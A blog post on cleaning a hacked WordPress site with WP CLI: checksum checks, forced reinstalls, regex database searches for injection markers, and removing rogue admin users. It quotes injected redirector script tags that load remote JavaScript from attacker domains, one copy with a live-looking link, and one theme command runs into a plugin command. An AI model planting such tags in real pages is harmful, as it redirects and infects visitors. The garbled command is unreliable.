If you’re a WordPress user and you’ve never heard of or used WP CLI, you may want to check out one of my general WP CLI posts, though if you’re familiar with working with command line tools, you should be just fine.
As we know, WP CLI can immensely help when you’re running a WordPress site. By simply grabbing a shell and changing to the directory that contains your install, you can perform all sorts of actions without logging into the site, some actions, and tools that aren’t even available within the WordPress core.
Per Sucuri.
So something has hinted at the fact that your WordPress site might be hacked. Taking a look at the file system and database can usually confirm or deny this. If you’re not completely sure what you’re looking at, we can use some standard WordPress command line tools to tell us.
Verifying checksums
wp core verify-checksums
Just a warning, any small and non-malicious changes to your WordPress files could cause the checksum verification to fail — this includes things as simple as removing the readme.txt
file. If it fails, the tool will give you a list of files to check.
wp plugin verify-checksums --all
We must keep in mind that for the most part, we can only verify plugin checksums for plugins available from WordPress.org, while a few premium plugin devs do offer checksum tools for WP CLI, they aren’t available out of the box.
If you’re met with a wall of text after verifying the checksums for plugins with files added or does not match checksum, we may be in trouble. Thankfully, we can quickly install all plugins that are available via WordPress.org (this feature isn’t even available within WordPress itself).
Reinstall all plugins available from WordPress.org
wp plugin install $(wp plugin list --field=name) --force --skip-plugins --skip-themes
Reinstall all themes available from WordPress.org
Yep, we can do it with themes too! This one should really be used with caution, especially if you aren’t using a child theme and have modified the theme files, you won’t want to run the next one. In that case, you’d be better off removing all unused themes and cleaning manually.
wp theme install $(wp theme list --field=name) --force --skip-plugins --skip-themeswp plugin install $(wp plugin list --field=name) --force --skip-plugins --skip-themes
WordPress core
What about the WordPress core? We can quickly tell if the core components have been tempered, with wp core verify-checksums
If the checksums don’t match, it’s a great idea to reinstall the core. First, let’s verify the current core version if you’re unsure about wp core version
Next, we’ll want to rename the wp-admin and wp-includes directories, that way we can rename them back if needed. Something like wp-content-old is fine. We need to do this because if rogue files were added to the core, our next core command will not remove them.
Forcing the new WP core
Before we get into the wp core commands, we need to rename the wp-admin
and wp-includes
directories. This is to ensure that nothing is left behind in the WP core. Once renamed, run the command:
wp core download --version=6.2 --skip-content --force
After you make sure that the WP core hasn’t been busted, you can quarantine the wp-admin
and wp-includes
directories.
Technically, you could use the command to verify checksums and work through each to repair the core, but this is much easier.
Searching the database for scripts
wp db search "<script"
We can even spice this up a bit if we want, if you were wondering if the WP CLI search can use regex, the answer is yes. Doing so allows us to search for the common indicators of malware infection in a nice one-liner:
wp db search '(<script|eval\(|atob|fromCharCode)' --regex
Let’s keep in mind that our first search term <script, may be present in your database depending on a few factors, including legit plugins that are appending script tags on load.
Below is an example of the common WordPress redirect malware.
Search and replace malicious scripts
Example of malicious redirector script:
<script type="text/javascript" async="" src="//xxxxxxxx[.]ga/21ef897172770ca75d.js"></script> <script type="text/javascript" src="hXXps://linkangood[.]com/optout/get?jsonp=__mtz_cb_970955975&key=21ef897172770ca75d&t=1570488634197"></script>
The links have been obfuscated for safety purposes, but they will commonly be using .tk or .ga TLDs which are available for free. Sometimes these domains will include something like “jquery” or “update”.
If the script in the database is 100% the same, we can use a standard wp search-replace command where we search for the exact script, then replace it with nothing:
wp search-replace "<script type="text/javascript" async="" src="//xxxxxxx/21ef897172770ca75d.js"></script> <script type="text/javascript" src="https://linkangood.com/optout/get?jsonp=__mtz_cb_970955975&key=21ef897172770ca75d&t=1570488634197"></script>" ""
You might be asking, “Damnit! The script injected into the database is different on each post. Do I need to manually replace these?”. If you are asking this, you’re in luck. Remember when we used the –regex option for the DB search? Yep, let’s run it.
Search and replace malware redirect – linkangood.com and belannot.ga
wp search-replace '<script.*?linkangood.*?<\/script>' '' --regex --regex-delimiter='/'
Using the power of regex, we can wipe every single instance of the relevant script tags. You can also use the —dry-run option, or wp db search to make sure you’re only matching the malicious scripts.
If your site has a huge database, and especially if your site is running on a shared host or a poor server, use this with caution. Also, you should look into a quality host like Kinsta. Jeez, if you were using Kinsta, you wouldn’t even have to be doing this thanks to their Security Pledge keeps you covered with top-notch security as well as free hack/malware cleanups.
Checking files
If there are redirects in your database, they could also be in your files. WP CLI doesn’t offer a way to search files, so you’ll have to get creative with grep
.
grep -ir "linkangood"
-i makes the search ignore case, -r makes the search recursive. You can use regex with grep, there are many possibilities.
Rogue WordPress admin users
Many WordPress malware campaigns will utilize the user system. Sometimes a compromised admin account could have led to the infection while many infection cases see one or more admin users added to the site.
These rogue users are nearly always granted administrator roles which can act as a persistence function during the infection. The actor is hoping that when the infection is noticed, the added admin user will not be noticed, leaving the site open for further attack.
A rogue or compromised admin use should always be seen as a possibility unless you have extensive security implements in place like 2-factor authentication or similar.
Reset all admin passwords and shuffle salts
With a quick command, we can reset all passwords to a random string and shuffle the wp-config.php salts, meaning all users will be logged out of the site.
wp config shuffle-salts && wp user reset-password $(wp user list --role=administrator --field=ID)
Audit the admin list
Many of these admin users will use a random or bogus email address meaning the password reset will completely revoke the user access, meaning they cannot reset the password due to the email address used but this shouldn’t be assumed.
Check over your entire admin user list:
wp user list --role=administrator
Remove any that you don’t recognize with wp user delete userID
Awesome quick guide on how to leverage wp-cli to clean malware. I wrote a simple one here https://wpmechanics.net/removing-malware/
But will try to add a wp-cli version in the near future. Thanks for the inspiration!
– Sal
[…] Related: Advanced Malware Removal with WP CLI […]
Thank you, I found malware with the scan. hello folder with a hello.php file that generated spam web content that can’t be seen by logging in as a as a user.